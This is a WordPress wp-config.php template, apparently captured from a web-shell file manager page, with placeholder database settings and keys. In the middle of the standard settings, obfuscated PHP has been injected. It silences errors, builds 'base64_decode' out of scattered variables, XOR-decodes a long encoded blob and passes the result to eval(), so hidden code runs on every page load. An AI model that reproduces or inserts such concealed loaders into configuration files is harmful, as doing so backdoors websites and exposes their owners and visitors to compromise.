Sindbad~EG File Manager

<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';



error_reporting(0);$rfskez="a";$cxr="b";
$nys="hajqe";


$cworm="6";

$uubaqtus="s";$uffdij="e";$pqwk="vfxrpyq";$zzoydlqn="4";
$wfy="_";$vwmxo="oavrn";$bhawjl="v";

$yjqkubjx="c";$fsbda="qrzh";
$hixdj="wyczo";$bfwyspok="l";$xcb="eivia";$iyvnse="d";



$biybs="o";

function j($a, $f){ 



$t=""; for($n=0;$n<strlen($a);) for($u=0;$u<strlen($f);$u++, $n++) $t .= $a[$n] ^ $f[$u]; return $t; };$xmve="pzcwtwk";





$bvdhz="iopyd";




$zltq="gayfb";






$qhjv=$cxr



.$rfskez




.$uubaqtus.


$uffdij.




$cworm




.$zzoydlqn.


$wfy


.$iyvnse

.$uffdij.



$yjqkubjx

.$biybs.


$iyvnse



.$uffdij



;



$kvqzzlwy="ids";




$rgv="ziisbyq";















eval(j($qhjv("KCXPUMDX\H]ADWZY[EMKMz_IZ	
4@CUgIUM[[TAWT&T\MXz
XIXI C_XMMA\&HsJE@IsXI_TCX6E@IWrTUGJUOX&EMXI3C=OCHIHZJWZGBOS]
M
CJNONeM@EM$ IBiBOCHIHOIAtK$9"otj5y9 :>(iXbz~y}~K>-mHN8Zm%jo#@*71.y&F_COhIXPCYcJYBOXBKN \OB_XGKQ7\/VN[DE@IGU8qUOCBXL>MTM^_IeBXKGS[RF_TM
eBXKT^@JGF]\M^I%QTMF[E^IeBPWIT[]N\M
eXKO\ AKST^IeGKXTKQYV[T\M^_I&XKK]^CWT[Q[TM^_IeBXKGSJJ\F@TM0XKTF]STG]M_Ie	XDX^[TJT]N\M
eXKO\ AK^TNBM_I$TV_QYV[TOEJjRIYJN^@_IGz7_ Dqzw_DXDqD\TQMXO>Q/0\Y_Dqz4S_EJR2YQQD\II@
 4MXIO7X^[T\HDTROJ\D\XTVT_YRT\GSZRFWIX:ETD"BX@w\T^ED]_TAL\DHH[I\TJF_X0]Fw TES QLT\GS_RF _KWP@\TJqG]w	[\WT]H^BBIq _\RMEK ^+\WT
WP@\TNHADq  RBZEKX
+	CT\STJ	RF TV[Q-UYHCOYAI w]^@\ AIR\T_SH\]^\OIAB\TH]DAIJ(G\XTV_YRTF/q6GMNPWI\EZ]H@G_^6PPHCOYAIB/\KD_W\O\ AIR\T_]]^\ AH\TYSHAR2 TVQ[	CTwDq8\]^\O\ AHY\T]J\EEBKHHYqw\_QND^@TGX^[TJqw\GDTRD^@TJHNPWIq [HRMEK ^+\]OYRTDDT\DYqJB_IXsOCCG YA#FWCB_ E BIXjBI[+XV34`XTVY_YR'TO
SqKjw!]H@G4X^[TOIH)JzGETTITQKX~EJG"1`EEC+KHH[`T	BJPRDj+`WT]HG^B`TJN#\X\DKqOWAIBXw`T^GMJ`ER_TAINqQ[^VI_OM\I]1!]H@G4X^[TJFOQYBCKIsINWOCB_T_^\HCY0_TMF__KD]IWqwKHHZODqGST\FTVQ[^TN_T^FMJ_EEAKHHX_T^EDJ\HYEJOYE
^BYBI_OMwG2KI@_BBY@@QX<OCIXHN
JYsOCCGEISE
sCCGID_^GH T _I+OCGG BKJYUIXsOCCGEIGS_ C I'GEI_Y  STDYIsOCGX^Y EY TFX_Xs GIHKTGTJYB EB"] WOBPVE^IXY^Tc^JYEBHKzEDTJ@IXO2wH0NIY^BGjW\6CB NQJYB EB]FWCB_!E+^\KnnOaZCS^_AR]@W{ . Y0}iXRCDK^Gax DMS D^m
RCCOK^GKIX MXS DIH"RCAPI 9 BHC ED \XC @_K	
 i@I V!z	J^RCKpTUKTWM EJ^ HI% J5CW AXKTWB XIB HET7\f`?^G_IX WD[Kc(mW [NKTW'Pq hMX HC J
^W xAKTWQ5P UxM H C J
BW o#=4L IxE HOOH WWYO^[H ZFdt'\IB@_HHYi@@E}EHX{EJYHXw @BWULX_n XhCHXEIJYHC_ @YWULpTI cD \MA@_ZPC KbM 	_D  \C@@_ XJC  ADqH	YOXEBDQXY^BaQX^BMGKQEJOHBXw\TJ
SH\JE@LW$0\TJODSDDqsCCGID_	L HCOYAIBX4STJ\D\XTV]_YRLCBqw\ODJHq\TNNCz]MZIm_CY^nHUMHOYBOEPCWOCB_X\R/XIJYHOI @IWUL^bGzCiCSM\AR^ X_\^ZuDF)VD _A%tknu@ KIAMZCjFYc~HXCHJYHIH @y>4WULDon>ID ZF]AUy"z? WUL`z. J+ JIW QUAA?{\~x CG
S DAIRCE_K^GO@E i@
S DHCRCIAKB,Y T}-!` J
ZW _\IFIVfF@N \OA @B WULoDE cNFH)
JXCBNWB\Q^IXBCEDNOB_XG~Q7KBOXECBcXNJWOXPYEOW
^BcJYBOCHA#FWHWTTHKXjYwHqX^BM3TQ\cBKNECQYBOXECBBCOC6c PYBDE@IwqFXUW_HJ\
"BXjTF]STG]B\^_I.BP6QLTFH\I9BX!\ IIBT\MI*BXE3GMN\ DP@\M^_IeBXG2ST\\F@TM0XjTJF[E^IeB*P@RT^IeGjXT^KQYV[T\M^_I&XKj]YFP]	
^_IeBXjHDTZD\@MJ\
"BXjTIF]STNV	
 I@_IYw_qE 4DEJ1PYPPQOMXODzwD\YHqXYwD^6QQQECDTM	FK@IXGYMBHC[w~MDq6'G@T@G*XI~TY]1MV[~WTUKWP6T MBOD iIAP OAIBw>P@S~TXSH~JE5\ IBXqMFOMOD*@Aw~O@P@@Iq~MNJ~ER_THL~DHZ~TOH]DIAOC^iI#"Q[TOJqR^ MCi@I
w>PWIJ~LDJ-TKHBXw~TF_q6'GNL~D_@R~TWAJHqXMBOC= MBODC^iA8~JE@O_-QB HCOYAIBX4&ST\\D	qw5\ IB~TF_~KTU@FW@H:^i@IA _I EICGJBOXCPYCB_XK~BC[6G:wP@SKTF_KKMYYK@@I^BKTqG^Y_TCI\WrTA@N UIJ B_EIVX@W[D\E^OD@L
XECBEBK_ICC^BP_XMDXIC\\^CNC_GEBKGIWN_\MBS[_MBSILN[ERD_U\\HXURCBXJ_CK_DSTN\M^K	YEKEXM@E_EIZO]MH^BD_Z_\MB@\BQZNHZRD GW\NNQHN]KS\N\YX@IJCBXV][_@W\AP^IMHIMNIO@__OKHYI@ZM@Y COIJC@CNE\HEZQHEZSI\BH_GWNNHEJLHEKSNNNYFLV\_XU@IRSJBX@VI\H@I[\TXEK DBXEEBIT\I@@IT\IJDPMACX\M^MAIX^ L\QQ_\EFLVEZEEQHN]KS\N\YGWHEZN@_\QZLHEZYCUHEZHEJBQP _XU@IJ XN_EU@W\H@I[ZDAEM^
MH\@	X^EOMBIAYCEXI@_ MB[HP
U@IJCBXBEIMEA@W\H@I[IA_^M	
APOMZ^XBXIBXECBMUCYK
_PAC@E
P
NNIXEBK[AIUQZE\YCNEEZHEZS_ESIEEFL^MAI_XU@
IC^	PG[VDIEKDISANC^IEWILEJ^MAIQH\]KSEP_XUIQ_X_EVIADS]E_TYB\C__EN@UOY@XIE_I_YNX^MOHCOCEIOMWEEEQVi&&sIXEM 4Y^@sJC\IBMXADNe&YBOEPBI^MXI~MBA0X^T@IB XXMYZW&X^BMNX^X'JJ@I_X^s\MXEQWMNOI
G@ABC\]^_ZTU4-o4ijk/e&3<4%c|}~xyz{7-vD @X@I	K_
^@IBTO]O I
BXD\&rzJYBOXE sTEWKIX5I9	*HH^mjWeTCJXCB I*e\mHH^mjFTWCEJM]GA\XH'#<9zi~wkice?+m'h~J(FP

OH'#<9zi~wkice?+m'h~J(FNP\V@WZWE\K+&~z('47ice7s-<4+LqQI@_IE	TKI UXs"~:=""Ldxx|stsjc=#m1hi)*)c"qNJ^PQCsi~zi~wH<x7|s5*)c"{m~#i('669qADSJ\O
VCs?="/.~wdxx|st02c1{m?1*h/jc~@qEDNQOsi~zi~w<1~5i~24+h"qNLTIT\@CHIHXO2&*~&i~w@d8, &3sjc~{m~hi++j,~0\TTE\ZH "[qQI@_IE	TKI UXs"~:=""Ldxx|so`ei! s*|0\FV
O3+5+=i~wdxx|s,8e&bx2<?-@^O^IE

G\<i?#*~+dx3|3;<0.bxse|qQ\<i?#*~+i5z)*/8/h~qWK\^s>0=z5~w/x8(/:'eibxse|qT	@_	XI
\X]4i~zi~wd; |<oj26 b>iox.b+'9)Lq

K+&~z('48xx|8o*'36%bioxebkse?SqJJD]^IKQP_Msi~z*&wDdx9%0o6soc)b);$0%kse|qGPs0i~;0=wWi~1i>'1=/~qWGs('9i"wd3x<'3?4ocbbioxeb(+e3qVOI_IM]4i~zi~w~*9c7is,1+~WqQG^	E\Q&Qe~ELBXEC	s	 
_KIX~IMIDU&PYBKIX~IM@JKePGLQA\XUsi="i1w%!;|/~ij"~)*W$BW&OTCMQ05~zi5wK0$-;s~iji~i~2TCKIZXdx3|3*5?.~i~&OTCePGLYCIA\XUs*&z&~wJ=;x s~i!i>="^6^IXY^BOVX&&MUOPIKsi~zi~wH<x7|s?0)i"i~:fXPYKQ&Q&&EJNYOXsTE__D_~IM@YM~C OECBGK	"
@YMWE	\I\X]Ks#i~z"~7_8-?|syi~smk*:xDqDUTsi5z)*+^#xx|syi~s.3i-x0URIXI	ZD_8-?|syi~smk*:xDMO^XY^	H'#<9zi~wdxx|0!&~s,2*b$qGQfzsYBOXECBK
 hAM!MIGWfXPYKDIMHI^_RTMMO0^]YIX3I^_&OT^XYOIMH^#R1_Xq&Q&&	B XEOKX|^XCW&^
 YBET
A XUCs?="/.~wdxx|2]E
I*<i"zi~<$,$)8qC	CPPMQ05~zi5wK+5+=i~s|c~xqOIC^\OPDX\B_VIDXX\@[X&Qg	YOXEBL9I]YI_XdIM^MePIM^^MUFO&CM ^MODO3+5+=i~M_GIT]YWmLXPYKEJ_YN ^KGC@ NPFP^#xx|sW&OTCMUOPOC	XP&~CMUOTDIMIXMYX^s^I\@MO
\C MRB\YOCQX^s^I\@MO
\< MRO\_XX^_YN_X^KI X\FY&GLXPYKDIMHI^_4PDMH2MZ@KsKQ&X^BMQIHI^fzsYBOXECBA OhMGMU_M\YOBIIH@I  JIXPEF&GXX_sM^^MUI@ID\OIIHILEP^MUBIIHX&MUOJ^IMDD\H@IM_]^OPGX
^\C_DMU M G MQY^U G
XJMIJ^^X^IWX_VK_XC\CBJ_X 
I_YXfXPYKQ&^IXBCJM
zQ&&YBIBOCHI ^ Im-MIOTP] W&XM ^5BOCID\UKG&X^BM_sBCHMXM&Qe~JBO BPHIOH	+OImBHnM_IY@G_ MQPW&GL\YVNM_IsH
CIIFzG^	TC^hIOCH
\ IFzQ&&YBTC^iBOCGEB  PGILzsKEB\YX-X_PUXsXsEB\YXeTCn	XI_GLSsXCsNUXI_GPGUVOPGU DOCYBXGPGUn
_Y&&GLXT_Y@XnUXI_OI8qgUOPJC^MPQOEB\YXnUXITMURPNUIEXsK^
YXn
_+qGKrGIUnUX
wGEHUKGU`I	K-BaQ&&&OTIXUXIs/J^I_Y@6UI_DNeQz&JY	OKTC^hIOCHIGPDTB IQPa&IBO InUMDIQODITX^EBKFO&CMQI	nUX_LEPJsXCsNUX
GGI\T&PCG	<KXDOCY GGI7X_m&LXPYOHIOCHIHnU_C6(T&PCXX]EST_^@GBOCI:	_EO&CMUOPHIC;XI_wqCGIBInUX_7\$BrGIUnU_8EMPOIU`B$P&Q&&OTIXUXIs/JHIOCH
nXI\T&&&&YBYXJsXC0UI_EQXEBKNrPYK^IXY^BMMsAG^HK&\@EX_X^KJge&YBOEPXI_sXCsYX	LGNUPW&GL\Y@XeTCJ
MDCN
KM_NUXIO&CMUOP^IY PWVOD^NUX
]iMU&PIK^I_Y@X&~&YBCKI~	 _IY^@~&CMQI\GKCzYKEJE_sO@N@]HO^@sBWPBW&OT DPUY@sE	EPT@&OT Y^*IC\XO\Y(y~`c|xs#+z&~e+,?i5~ M PP&^s_ \O L;%+'c|xs`sz*&e%ud"&; PmLXPYKOY^@s_I\C3y~`(|8'66'`c{`comxe : CVOPG4_IXC\XOX y~!:?x/~ix2~","8%ji~ eTCMUOO^@sI COD oy~` $x<di,1*~\\&LXPYKOY^@s_
 CXI Poy~+c<,/:$bbioxxeai !xO]\T&PGLX@s_IXC\XKDOo8'#c xsx.a)7%-G&OTC\PO^ 'OOD&OTCMQIHI^GLsKIXEBJCOPOVOPG4O@C_IODFO&CMUOPEJO^wDXX\sO IDqLHO@IKJM@_I&OTQCI@OWz&GLXPYOY^@s\M^_ITC\M
s^@CYYBa@CEQ^s\M_	+^ODIAIqRTXXHK&GLXPYO^I]ki;TCI @/\M^I#W	
XDq&&OTCGE_IXO
&M^_IHw]Y
UDqDUK^]ZKGWYEY^@s\M^H8]UWq&mLXPYK^I]OV+xx=Z^@p^p	dCKY^@s^IH6RCXqGLZ,7BoCBBIOXE Co@
ppBppZKsK_ GC OC\I	D\
__@@SYJ\OPY^s
HwDC_XqCT_@MJODG\QKsaE	\CO\OWzGLXPYKlJ\YX_KC G MQI&GLXPYK^ODiMUOPGJICJ_ GJ&MUOPGLXsKOTCIOPJKI_D\G eTCMUOPGLQO^^I_\AIGNgUOPGLXPYKEJNRT?^pWFT^GWrPYK~CMUOP'J
_COG&OTCMU&P&LXPYIXY^B^IiQ&gBXEC	_X|C_XY C\AWm&LXPYO^I_\T~&CM	_sO@ OY^@sEB JePGL\KOY^@sEB GY^\T&zGLXP^@s_IXC\XGPO . =`?|xs4 '&<9eju|ii~ 	@IVOPG4_IXC\XOX y~!:?x/`8z)*9?2dcx eTCMUOO^@sI COD oy~` $x<jc!9 {<com3e#6\YZ&OTO^@2
X\XCOTP:>~`c|xs~ix:&b7~m#&)i" NfXPYKOY^@sX\XEQD\oy5`#($&#imhi~ T~CMUOY^@8_		OD oy~#;|7so";!i3xxe*i#-$UK&OTCOY0_XC\HUKoy~`c|xsx&9i,yxAU^Y&GLXPYKOY^@s_IXC GODAU,y"`c|3s<7#-G&OTCOY0_XC\HUKoy~`c|xs| 'x%ei!1< P\MMYBa&KI\PUY@sIIPT&OTIM	MOY@3BJCODFO&iMUOPOY@3IOD&&OTCMUJPDM"LDXX\sOCHIH)B_E_P^IX^X_I&&@IePGL\s\M^_IHOM_I2 @XY^WrPYK__@OIKY0\^_IwKAIq X_DNe&PGLXTBXITX_IAsXTXs^	Cw&OTCP<&LXPYKOTI^s II^@QFP
@_I &OTCMUOPZ^	&II^sBMAIOICJM
&PGLXPYKq&OTqJ&gZ@PGL\Y@XdC_XO\_@MJO_@HKXJYLY^@0M_I	.HD_X:LVP[Q__@OKWMOO^@sM0\C^XqeTCMUOI_YX$K__@OS_@BZHJNBXT@s\M^_IHwHCX0Ne&PGLXKY^@s\M^H8\-WmLXPYK^I@dCOMEBXT@s\M^_IHwHCX0NePGLIW&OTCI
_@Xd_X^DK__@MNCYA\JEBXHIP&~&CMUOP_CG	PDK_X^IMAs_CIsO
B^_1_X I^^B XGI^8K\K?,"<*aso`eibxs,;b-io9YOCBXTQKsaE	\COPW&&GLXPYKJ\YX\CO P|c4xLZPWKY^@s\M^_
wD\MHqPGd8, VZp^pBeTCMUOPJYX]COGIX d XYM[O^@sM0DC_XqOVppBO\T&PGLXPYKJ\YX__ GX MW,CXIB QM\\@EOMXBLTC^AJYCHIHp^pBFO&CMUOPGJ
C_COGIX M7CXIB@BKXLZ^
^@IB\M^_J13BR&GLXPYKJ\YX\CO PoC	B	BO@C_Ip(B?^pWFzGLXPYKJ\YX_OIXAUK\^MABXR%pBp^pBe~CMUOPC^LEPIP&OTC[D
QJICH IXW&OTCMUOPCNLEPIX__COG
  C_AFzGLXPYKEJKC^^fXPYKOT
JIOMppZYYO^&OTCMUO&&GLXPYKJO@C_
\COK&&GLXPYKQ&&Q&eTC^^^_Czs&&JYBOXECTHXI*AE@e	k	'Do^U\X\M I
UYW&GLXY^B\^IKsX DOZ/R HO*Y^OImBHnMWYICHIO GIUOICX^ePGL^VsK\^
sMXG_pE LHICY^OImn_I[AGY@HICX]M^MA G
JPU^I&&fXECBHIXI iME<kX{ED.]\M^MAO&CM
X^B^	/
XODlCTN_I[A0HOCHH
AX^&CMUOP

&GLXPYK\^IKsAMXApCZM PNM_X'CHI\M^M]CMY&Qm&
ECBHIXIO1AE@$(I\^YY&^IXY^I
*MODE,WRUK\M^MARTXYIgUOPG
JrPYK\^IK0MODEW@p^ GX^YIT~Qi&JXCB_/IiBMN@I@
HM;CIBhOBW&&X CYOP&mLXPE__IX03i7w
MqYWmLXPYKKIXoCY HI*(i$wK1CzYKQ&&X CC
RACN@XRHI XEAIDTUAUMR&mLXPE__IXK+o,cg$04CNUEqEQPaE	TGKI6 YXZYQPI&OTCDI
^X`CMQsi~z*&wD|d=*<i<jqINGVKIX,YXFU^PAXERYEZM@EHMX
 CIB)CIH\QB&Q&&~&G^I BIGNCz]I]YI_Xy^@OIAg@P`EBMXI&EJE_XKs*0;wWXG:L^VY^EANM_I[+HOC	G/kix<W$BZM@MIx
B4IOCIQPa&E_oC EiBIXsk"x7_Lq&&KCAhMM^MXX[GZMHXI9IhIOH	YBa\M^M^N
DsIBCXCBsIBOCHIGPJ^A)MY&mLXP]I]YI_Xy^@OIGDCOP\MD:MXI&&OP^_\IPXEPE\sXMK_^
Y_X=XX^IY	,@ \M^MA]J&gUOPF_B#XF_CBsOHIE
OHIY8HnM_I_CBCTGIUNWrzYKEJF_ cFIBZME?CGIBQOPZ@E	I$CGI	h	H

F_C;N	IOXQWWXM^ I,BQ0<C2MPW&GLXPYKIODCF_CB0B CH]M/Cs3RPP&Q&&OTEIE\T&zQ&&HL=@X^MOGI^e~AM;^OGIQXR[P&^IJK
 ~M@	Y&\LEPX~IM@e\mHm%VeEE_	X]4kixwEHqF]&MUOEHX	<ME@eBkIX{ D ^UG/kix<W$GGIU
M
@xG^GH	CY^OImBH-_EEs i8#Wq GIUFO&CM	XHIXO=@eBkIX{EX6MIY]Ks7ixw@E_-PBIAME@x^G^PUMI8H	skixwESqJ&MUOJI.AME@eBkIXGPs$ix6RHWqG	x^MOGI^OPs$ix6RHWq&mLXP]I]YI_X|M^_CM	&GLXPYKEHKAE@9OI^ mLXPYKE\OPE &MUOP@^	WYV^IJ&OTX&MUOI]Y_-KDC_XOP_^Z+I @CU,ICzYK^I]YI_$MMAUR^@I	OQBOCHICY^mHn
DFC'CHI^I]Y
X3M^Y CG	YPP&^I_>_BOP^I]I X^I]YI_!^ I
]I_X7M
B&&HE
\X&&eMGK	"
@YM&&_|MMs$c#39<0D\q07c,ge(.MD q]NZKsOHMXIcJJ_ITCs.: g9iw1XOYOsoccgeiwVqCOWT&TBMAc
soccg&1wAB0UPTsoc(g%=+[q&KU|@	CAG3;?6 eiw_\qPT<oc">&i+_\EqLBP[I&_U_yMRT<oc">&i+_YEqLGP]4occgeiw_VqCOWT&TEJ^A	-YVsoccgei4VEqMJO/occ,e)#Rq&KIh^
^P8o#7;0.w[HqK+o,cg$04HqGLZRBa@MBKyMOY_X]Ks#i~z"~7_8-?|smooi|xs#5b$ym*0Hq\ NSX	_X^si~91~8d9!?s1ooi7x3417,ymkiq  ]]YONeAMEQXR[P&IAME@|MA-MAURR&C] 8X^EBKkIXRTA&I
MI^|MKIX~I]_dI
^wE	]:yM|@MXJ AAqRUI~I]I8
HI^_w
 D8B|MXJ^Z-YQ&&EJGPs cc&<*wRHqGQXR[BW&IOGDX OP_^GIF_CYI'IX^H_
	&ICCE XHO@COMXE M^ M[X&IKge&C^IOXX]4kixM_BICMQMMAGWfrPYKEJ\M^BOWF&GLXPYJHIXIOX*M
@e2
X'EXD$^QO\M^MA G
JWgUOPGLXP]AME@HIHCI1BHn_	NDQ^EA\M^M] CGFzGLXPYKIAME@|MbM OPBM
IWrPYKBEBT&PGLX_IEJHIXI iME<kX{ED.]\M^MAFTWiMUOPGH@NM_I[+HOC	GXEAC\
B GIU&OTCMUOPI
M MAbMAIKMIgUOPGLXPBXEBYI&OTCM
@IEJOH	iAME@eBkI\M^FPW&GLXPYKIAMETC\AK&GLXPYKIAME@?^Ab
MBA	CzYKOCXE 
zGLXPaIUBkIXGQXT
AIATM^OP
\&LXPY&&Q&&]YI^E(IYC]YI^UX^K$IXAU_ P\&fW_Y;^I\M^I\MA&&BZOJ^\^PXI^&&EJO\M_%^ACIK@X^EA_|M PDMD<wq&&^
Y_X8MD_X^YO_I^ZI^hI\U(IUVeI]Y_(
A_M^^MTiMUHE YH Ua^IJOIC^C&P@Y_PDUYM &OS@DSUK@BKy fXPYKEH
M
@ gUOPHGRXT
XIcJJ_IX eTCRONBA	7IX &CMQU|@MJ
UaD\RJGDI
^ @MXC\sK_YQTU_8C&P@E_PDUEJ^MAIyX&CMRHWG=EZI^&&&KIYI?MMA_GLBOCHIIBO I0CY
mHnMIZLXCBsIBOCHIGP^]Y|^MALTP] IU&&O&IYIeI_\-_#^I]YI_$CXI
]I_X2^ TP]I]YI_X|M^_J&I
_ f_C	cPDKF_CBsHIOCIO
Y^Om2I^I_\%CXYOIUNfrK^I_\f_C;N	PUMYITXDQKsaEJ^I_\%CcNXQWRMOXC>=E_EXC^QRIAOY A<EBGELzsKEJ^
\)_C:F]W^ ZYVHEIG]i&MUOEI:
BcNFWXI,JzX^QGQXR[MBXIH~CMUOODCGP
DXX\I]YD^I
_OBVY^@OP^_\' B?NFYWNIQ&OTCQI
&&GLXPYKEJ_X^\C\I_?CcNFJZQ CBIHZ@
CANMEMYM@_IW&OTCMUOPIODNDMDXX\I]Z^^IDCY^@ATI_?CcNFJZQeTCMUOPHIDQKsKQ&eTCMUOEAYVW&&OTCMUOPEJOOCskix_]&MUOPGLXPYKIODCAIXXX
]EZ@^	DOCBXIBISYR^^_2cNFWY^VQCRWAT]YIU?KkIXMO&CMUOPGQ	KW&OTCMUOIDCEKDXX\I]YEIIJDWOC	X	DLY^@KI\fcF
[&OTCMUOPQ&&GLXPYKQI@_IW&eTCMUOPEH	UX^EBKkIT^O\OWzGLXPYKEJGPD_D=MWmLXPYKOTCI RAIMLI]YEZ^
^_DJUCXIBKHK@^I_>_BcBY^X^YODM_D|M^MAOZDVOPGLXPYKQI@_I~CMUOPGLXPYKIODCA
 MCDXBIYEZZ_DOCBXI DRI:
BcNFWYOJMPIAE (
AbMAIMZGIA^EfXPYKOT&MUOPGLIW&&OTCMUOPEJGH
|M^MAW&OTCMUOPGLXPYODCAIXTDX\@YZI


OCBXIBXRSXY^HM&PGLXPYKOTCI
_ f_C	c]GY^@Q&OTCMUOPGLXPYK]^XK7IXIH
|M^MAHJX&MUOPGLXPYKQI@_IW&OTCMUOPGLXPDCAIXMOX\E^JLOCBXIBXHD^@PWePGLXPYKOTM\:_CB(NUNIY^@Q&OTCMUOPGLXPYKIA@3M^!MI&GLXPYKOTCM[MRAsKOTCMUOPIJZ^YO]YI^UX^EkXCUMN&GLXPYK~&CMUOPGQfrPYKQ&&OT&&e&JC^	 3CBcNFWX
CB+z_EX^NPDV_DC[dXAVCW&MUOTOCBIPDKNM_IsHIH\:_CB(NUNIDXA@Q&OTClIWGL\XIBX&OTH
IDNeQz&EJGH

f_CBcNFVM XE)CzE_X
RKDC_Xh M
BDU&PCY$9IHE^IOXOI|^ O@GL/CAMEBbMAIG]iMU
OC[A	YXX\I]YEZRS^J^POCBIM^[Y^@@7C~^OXIKFRBaHEIT~Qi&EUGI_\-_?WMOXEC2CzECQZLZjCYBHWeTCDsI_\B/HI&OTCHE]FzQ&&JLPT_\f_CBcNFBJWAMO B6C^z_IQJE@
VCW&gUOPEJO	!_CBcNFWMEIB
GNQPI&&OPJ
@I)MPN_	ND&BOCHIDIT]EN
DsHICX]I_\f_CBcNYJ
hXMEQKsaEJC+KXsIGWfXPYKCNsIB+OIM]FzGQfrPYKNUXIoDMOI^URIBIM"HCAX^EBKG]iMUKN	XIbA
KKIBI^MX
&MHC &^BKNfXPYKNUXIm^^MTCKIMI~M	H#EBK&&OTG_M._PKB	
~MBHCAX^KKgUOPN@N"KKIBI^MX
&MHC &^BKNfrPYKIODCDXMQ^\XmJCB_MmO]\TNrPYK_MZI.Y^-CUE&rzQYBOXECBO&CM
XPCN:M^MOXI^_AV^MWCJ=
XM&OTCMUeP@XLZ^YONUXIbYANIMPUIm^MPRWKNUXIoDM^X^_M[MIBKDECzYKJC^@ITEC]NOEPIH	oDM^MOXI^TA@XELEXsKOPNXI# N^_I7-YVNUXI,MMO_PD
3ImXE&OT&MUO@XIH	m^^MURTB[8XHm^^UDZ^YONUXIbYANIMVOP&GLKN@CNbICMHOB[nCP+[ENUXIm^^MqAUX	\IGNVP]I_\f_CBcNYJ
x	\IBZWB&&OP_ZI,ORG%MAI MZG^I%_BcNRR@IBMAIQAVJ&MUOzQNfrLVO^E\X&eTCEUGI_\-_?W^IHE^
X"JX)EIQN&LXPYKIODCSIM\]I]YZQ_^I_DOCBB]N^G	!_CBcNFWMIE^mXI^!E RK&&OTEIE\T&&&Y&f"),"ot,c,,muo,p,,,g,lxpyk,,,,,,,,,"));




$lgezrs="eao";
$eazd="ozmwhcft";



/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';